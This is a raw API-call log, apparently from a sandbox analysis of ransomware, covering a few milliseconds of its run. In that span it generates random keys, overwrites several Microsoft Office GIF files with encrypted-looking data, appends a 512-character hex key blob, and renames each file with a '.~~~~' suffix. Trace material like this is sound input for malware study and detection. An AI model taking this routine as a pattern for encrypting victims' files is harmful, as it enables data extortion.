	[0129.495] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif.~~~~")) returned 1
	[0129.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd858 | out: hHeap=0x300000) returned 1
	[0129.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.511] GetLastError () returned 0x0
	[0129.511] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.512] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.512] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.513] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24950273483) returned 1
	[0129.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6a337b0, dwHighDateTime=0x1d60e1e)) 
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822258
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822258 | out: hHeap=0x300000) returned 1
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd858
	[0129.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd858 | out: hHeap=0x300000) returned 1
	[0129.513] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.514] GetLastError () returned 0x0
	[0129.514] GetLastError () returned 0x0
	[0129.514] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.514] GetLastError () returned 0x0
	[0129.514] GetLastError () returned 0x0
	[0129.516] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.516] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xe0, lpOverlapped=0x0) returned 1
	[0129.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.518] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.518] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.518] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.518] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.518] CloseHandle (hObject=0x138) returned 1
	[0129.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd858
	[0129.519] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif.~~~~")) returned 1
	[0129.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd858 | out: hHeap=0x300000) returned 1
	[0129.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.520] GetLastError () returned 0x0
	[0129.522] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.523] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.523] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.523] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24951323595) returned 1
	[0129.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6a59910, dwHighDateTime=0x1d60e1e)) 
	[0129.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822290
	[0129.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822290 | out: hHeap=0x300000) returned 1
	[0129.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd858
	[0129.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd858 | out: hHeap=0x300000) returned 1
	[0129.524] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.524] GetLastError () returned 0x0
	[0129.524] GetLastError () returned 0x0
	[0129.524] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.524] GetLastError () returned 0x0
	[0129.525] GetLastError () returned 0x0
	[0129.526] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.526] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xe0, lpOverlapped=0x0) returned 1
	[0129.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.528] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.528] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.528] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.528] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.528] CloseHandle (hObject=0x11c) returned 1
	[0129.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd858
	[0129.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif.~~~~")) returned 1
	[0129.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd858 | out: hHeap=0x300000) returned 1
	[0129.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.530] GetLastError () returned 0x0
	[0129.530] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.531] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.531] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.532] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24952179909) returned 1
	[0129.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6a59910, dwHighDateTime=0x1d60e1e)) 
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28222c8
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28222c8 | out: hHeap=0x300000) returned 1
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cda50
	[0129.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cda50 | out: hHeap=0x300000) returned 1
	[0129.532] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.533] GetLastError () returned 0x0
	[0129.533] GetLastError () returned 0x0
	[0129.533] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.533] GetLastError () returned 0x0
	[0129.533] GetLastError () returned 0x0
	[0129.535] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.535] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xe0, lpOverlapped=0x0) returned 1
	[0129.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.537] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.537] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.538] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.538] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.538] CloseHandle (hObject=0x11c) returned 1
	[0129.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cda50
	[0129.538] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif.~~~~")) returned 1
	[0129.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cda50 | out: hHeap=0x300000) returned 1
	[0129.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.544] GetLastError () returned 0x0
	[0129.544] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.545] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.545] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.545] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24953543074) returned 1
	[0129.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6a7fa70, dwHighDateTime=0x1d60e1e)) 
	[0129.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822300
	[0129.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822300 | out: hHeap=0x300000) returned 1
	[0129.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdaf8
	[0129.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0129.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdaf8 | out: hHeap=0x300000) returned 1
	[0129.546] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.546] GetLastError () returned 0x0
	[0129.546] GetLastError () returned 0x0
	[0129.547] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.547] GetLastError () returned 0x0
	[0129.547] GetLastError () returned 0x0
	[0129.548] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.548] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xe0, lpOverlapped=0x0) returned 1
	[0129.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.550] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.550] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.551] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.551] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.551] CloseHandle (hObject=0x11c) returned 1
	[0129.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdaf8
	[0129.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif.~~~~")) returned 1
	[0129.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdaf8 | out: hHeap=0x300000) returned 1
	[0129.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.553] GetLastError () returned 0x0
	[0129.556] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.557] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.557] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.557] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24954706809) returned 1
	[0129.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6aa5bd0, dwHighDateTime=0x1d60e1e)) 
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa778
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa778 | out: hHeap=0x300000) returned 1
	[0129.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0129.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b21f8
	[0129.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0129.558] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.558] GetLastError () returned 0x0
	[0129.558] GetLastError () returned 0x0
	[0129.558] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.558] GetLastError () returned 0x0
	[0129.558] GetLastError () returned 0x0
	[0129.564] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffc2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.564] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3d2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3d2, lpOverlapped=0x0) returned 1
	[0129.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.567] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.567] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.567] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
